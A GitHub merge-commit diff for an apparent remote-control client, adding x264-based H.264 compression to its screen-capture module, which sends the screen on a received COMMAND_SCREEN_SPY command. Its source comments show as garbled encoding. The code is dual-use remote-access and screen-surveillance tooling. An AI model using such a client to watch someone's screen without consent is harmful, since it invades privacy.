Merge pull request #66 from yuanyuanxiang/dev

Screen image transmission uses H.264 compression #65
This commit is contained in:
yuanyuanxiang
2025-03-30 19:52:10 +08:00
committed by GitHub
152 changed files with 44123 additions and 62 deletions

View File

@@ -70,23 +70,23 @@
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@@ -102,7 +102,7 @@
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@@ -138,6 +138,7 @@
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -182,6 +183,7 @@
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\commands.h" />
@@ -211,6 +213,7 @@
<ClInclude Include="TalkManager.h" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
<ClInclude Include="zconf.h" />
<ClInclude Include="zlib.h" />
</ItemGroup>

View File

@@ -1,5 +1,5 @@
#pragma once
#include "StdAfx.h"
#include "IOCPClient.h"
#include "common/commands.h"
@@ -11,6 +11,13 @@ typedef struct _THREAD_ARG_LIST
HANDLE hEvent;
}THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
typedef struct UserParam
{
BYTE* buffer;
int length;
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
}UserParam;
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
SIZE_T dwStackSize, //<2F>߳<EFBFBD>ջ<EFBFBD>Ĵ<EFBFBD>С 0
LPTHREAD_START_ROUTINE StartAddress, //<2F>̺߳<DFB3><CCBA><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> MyMain

View File

@@ -11,6 +11,7 @@
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_H264 2
#define MAX_CURSOR_TYPE 16

View File

@@ -177,7 +177,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SCREEN_SPY:
{
m_hThread[m_ulThreadCount].user = ulLength > 1 ? (void*)(szBuffer[1]) : NULL;
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
}
m_hThread[m_ulThreadCount].user = user;
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopScreenManager,
&m_hThread[m_ulThreadCount], 0, NULL);;

View File

@@ -13,6 +13,7 @@
#include <condition_variable>
#include <functional>
#include <future>
#include "X264Encoder.h"
class ThreadPool {
@@ -103,11 +104,12 @@ public:
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
bool m_SendKeyFrame; // <20><><EFBFBD>͹ؼ<CDB9>֡
CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ScreenCapture() : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF),
ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo),
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false){
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){
m_BlockNum = 8;
m_ThreadPool = new ThreadPool(m_BlockNum);
@@ -127,6 +129,14 @@ public:
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom;
if (ALGORITHM_H264 == m_bAlgorithm)
{
m_encoder = new CX264Encoder();
if (!m_encoder->open(m_ulFullWidth, m_ulFullHeight, 20, m_ulFullWidth * m_ulFullHeight / 1266)) {
Mprintf("Open x264encoder failed!!!\n");
}
}
m_BlockBuffers = new LPBYTE[m_BlockNum];
m_BlockSizes = new ULONG[m_BlockNum];
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
@@ -147,6 +157,7 @@ public:
SAFE_DELETE_ARRAY(m_BlockSizes);
SAFE_DELETE(m_ThreadPool);
SAFE_DELETE(m_encoder);
}
public:
@@ -240,6 +251,12 @@ public:
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
void ToGray(LPBYTE dst, LPBYTE src, int biSizeImage) {
for (ULONG i = 0; i < biSizeImage; i += 4, dst += 4, src += 4) {
dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
}
}
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
BYTE algo = m_bAlgorithm;
@@ -266,7 +283,9 @@ public:
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
LPBYTE nextData = ScanNextScreen();
if (nullptr == nextData) {
return nullptr;
// ɨ<><C9A8><EFBFBD><EFBFBD>һ֡ʧ<D6A1><CAA7>Ҳ<EFBFBD><D2B2>Ҫ<EFBFBD><D2AA><EFBFBD>͹<EFBFBD><CDB9><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD>
*ulNextSendLength = 1 + offset;
return m_RectBuffer;
}
#if SCREENYSPY_IMPROVE
@@ -281,22 +300,57 @@ public:
if (keyFrame)
{
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
if (algo != ALGORITHM_GRAY)
switch (algo)
{
case ALGORITHM_DIFF: {
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
break;
}
else
{
LPBYTE dst = data + offset, src = nextData;
for (ULONG i = 0; i < m_BitmapInfor_Full->bmiHeader.biSizeImage; i += 4, dst += 4, src += 4) {
dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
case ALGORITHM_GRAY: {
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
ToGray(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
break;
}
case ALGORITHM_H264: {
uint8_t* encoded_data = nullptr;
uint32_t encoded_size = 0;
int err = m_encoder->encode(nextData, 32, 4*m_BitmapInfor_Full->bmiHeader.biWidth,
m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size);
if (err) {
return nullptr;
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
break;
}
default:
break;
}
memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
}
else {
*ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo);
switch (algo)
{
case ALGORITHM_DIFF: case ALGORITHM_GRAY: {
*ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo);
break;
}
case ALGORITHM_H264: {
uint8_t* encoded_data = nullptr;
uint32_t encoded_size = 0;
int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Full->bmiHeader.biWidth,
m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size);
if (err) {
return nullptr;
}
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
break;
}
default:
break;
}
}
return m_RectBuffer;

View File

@@ -22,7 +22,7 @@ private:
BYTE* m_NextBuffer = nullptr;
public:
ScreenCapturerDXGI(int gop = DEFAULT_GOP) : ScreenCapture() {
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) {
m_GOP = gop;
InitDXGI();
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
@@ -111,7 +111,9 @@ public:
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
if (ret)
return nullptr;
if (m_bAlgorithm == ALGORITHM_GRAY) {
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage);
}
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
return m_FirstBuffer;
}

View File

@@ -45,8 +45,20 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE;
bool DXGI = user;
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI() : new CScreenSpy(32);
bool DXGI = false;
BYTE algo = ALGORITHM_DIFF;
if (!(user == NULL || (int)user == 1)) {
UserParam* param = (UserParam*)user;
if (param) {
DXGI = param->buffer[0];
algo = param->length > 1 ? param->buffer[1] : algo;
delete param;
}
} else {
DXGI = user;
}
Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo));
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI(algo) : new CScreenSpy(32, algo);
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
}

View File

@@ -11,10 +11,9 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, int gop) : ScreenCapture()
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo)
{
m_GOP = gop;
m_bAlgorithm = ALGORITHM_DIFF;
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
m_BitmapInfor_Full = new BITMAPINFO();
@@ -98,6 +97,9 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
if (m_bAlgorithm == ALGORITHM_GRAY) {
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage);
}
*ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage;
return m_RectBuffer; //<2F>ڴ<EFBFBD>

View File

@@ -31,7 +31,7 @@ private:
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
public:
CScreenSpy(ULONG ulbiBitCount, int gop = DEFAULT_GOP);
CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP);
virtual ~CScreenSpy();

163
client/X264Encoder.cpp Normal file
View File

@@ -0,0 +1,163 @@
#include "X264Encoder.h"
#include <string.h>
#include <stdio.h>
#ifdef _WIN64
#pragma comment(lib,"libyuv/libyuv_x64.lib")
#pragma comment(lib,"x264/libx264_x64.lib")
#else
#pragma comment(lib,"libyuv/libyuv.lib")
#pragma comment(lib,"x264/libx264.lib")
#endif
CX264Encoder::CX264Encoder()
{
memset(&m_Param, 0, sizeof(m_Param));
m_pCodec = NULL;
m_pPicIn = NULL;
m_pPicOut = NULL;
}
CX264Encoder::~CX264Encoder()
{
close();
}
bool CX264Encoder::open(int width, int height, int fps, int bitrate)
{
x264_param_t param = { 0 };
x264_param_default_preset(&param, "ultrafast", "zerolatency");
param.i_width = width & 0xfffffffe;
param.i_height = height & 0xfffffffe;
//x264_LOG_NONE
param.i_log_level = X264_LOG_NONE;
param.i_threads = 1;
param.i_frame_total = 0;
param.i_keyint_max = 10;
param.i_bframe = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
param.b_open_gop = 0;
param.i_fps_num = fps;
param.i_csp = X264_CSP_I420;
if (bitrate)
{
param.rc.i_rc_method = X264_RC_ABR;
param.rc.i_bitrate = bitrate;
}
//<2F><><EFBFBD><EFBFBD>profile.
if (x264_param_apply_profile(&param, x264_profile_names[0]))
{
return false;
}
return open(&param);
}
bool CX264Encoder::open(x264_param_t * param)
{
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
//input pic.
x264_picture_init(m_pPicIn);
x264_picture_alloc(
m_pPicIn,
X264_CSP_I420,
param->i_width,
param->i_height);
//create codec instance.
m_pCodec = x264_encoder_open(param);
if (m_pCodec == NULL){
return false;
}
memcpy(&m_Param, param, sizeof(m_Param));
return true;
}
void CX264Encoder::close()
{
if (m_pCodec)
{
x264_encoder_close(m_pCodec);
m_pCodec = NULL;
}
if (m_pPicIn)
{
x264_picture_clean(m_pPicIn);
free(m_pPicIn);
m_pPicIn = NULL;
}
if (m_pPicOut)
{
free(m_pPicOut);
m_pPicOut = NULL;
}
}
int CX264Encoder::encode(
uint8_t * rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t ** lppData,
uint32_t * lpSize,
int direction)
{
int encode_size = 0;
x264_nal_t *pNal = NULL;
int iNal;
if ((width & 0xfffffffe) != m_Param.i_width ||
(height & 0xfffffffe) != m_Param.i_height)
{
return -1;
}
switch (bpp)
{
case 24:
libyuv::RGB24ToI420((uint8_t*)rgb, stride,
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
m_Param.i_width, direction * m_Param.i_height);
break;
case 32:
libyuv::ARGBToI420((uint8_t*)rgb, stride,
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
m_Param.i_width, direction * m_Param.i_height);
break;
default:
return -2;
}
encode_size = x264_encoder_encode(
m_pCodec,
&pNal,
&iNal,
m_pPicIn,
m_pPicOut);
if (encode_size < 0)
{
return -3;
}
*lppData = pNal->p_payload;
*lpSize = encode_size;
return 0;
}

35
client/X264Encoder.h Normal file
View File

@@ -0,0 +1,35 @@
#pragma once
extern "C"{
#include <libyuv\libyuv.h>
#include <x264\x264.h>
}
class CX264Encoder
{
private:
x264_t* m_pCodec; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
x264_picture_t *m_pPicIn;
x264_picture_t *m_pPicOut;
x264_param_t m_Param;
public:
bool open(int width, int height, int fps,int bitrate);
bool open(x264_param_t * param);
void close();
int encode(
uint8_t * rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t ** lppData,
uint32_t * lpSize,
int direction = 1
);
CX264Encoder();
~CX264Encoder();
};

View File

@@ -102,7 +102,7 @@
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
<EntryPointSymbol>
</EntryPointSymbol>
<SubSystem>Console</SubSystem>
@@ -146,6 +146,7 @@
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -192,6 +193,7 @@
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\commands.h" />
@@ -219,6 +221,7 @@
<ClInclude Include="TalkManager.h" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
<ClInclude Include="zconf.h" />
<ClInclude Include="zlib.h" />
</ItemGroup>